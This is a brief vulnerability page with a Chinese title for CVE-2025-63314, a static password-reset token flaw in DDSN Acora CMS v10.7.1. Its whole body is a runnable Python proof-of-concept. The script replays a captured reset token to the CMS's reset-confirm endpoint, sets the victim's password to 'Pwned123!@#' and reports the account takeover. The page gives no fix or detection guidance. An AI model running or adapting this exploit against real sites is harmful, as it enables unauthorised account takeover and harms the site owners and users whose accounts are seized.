CVE-2025-63314: DDSN Acora CMS v10.7.1 静态密码重置令牌漏洞导致账户接管

#!/usr/bin/env python3 """ CVE-2025-63314 PoC - DDSN Acora CMS Static Password Reset Token This PoC demonstrates the replay attack vulnerability in Acora CMS password reset function. """ import requests import sys from urllib.parse import urljoin def exploit_account_takeover(target_url, email, reset_token): """ Perform account takeover via replay attack on password reset token Args: target_url: Base URL of Acora CMS email: Target user email reset_token: Intercepted static password reset token """ # Step 1: Request password reset (to obtain token - in real attack, this would be intercepted) reset_url = urljoin(target_url, '/api/password/reset') reset_data = {'email': email} # Step 2: Replay the static token to set new password exploit_url = urljoin(target_url, '/api/password/reset/confirm') exploit_data = { 'email': email, 'token': reset_token, # Static token can be reused 'new_password': 'Pwned123!@#' } try: response = requests.post(exploit_url, json=exploit_data, timeout=10) if response.status_code == 200 and 'success' in response.text.lower(): print(f'[+] SUCCESS: Account takeover completed for {email}') print(f'[+] New password set: Pwned123!@#') return True else: print(f'[-] FAILED: {response.status_code} - {response.text}') return False except requests.exceptions.RequestException as e: print(f'[-] ERROR: {e}') return False def main(): if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <email> <reset_token>') print(f'Example: {sys.argv[0]} http://acoracms.com [email protected] abc123static') sys.exit(1) target = sys.argv[1] email = sys.argv[2] token = sys.argv[3] exploit_account_takeover(target, email, token) if __name__ == '__main__': main()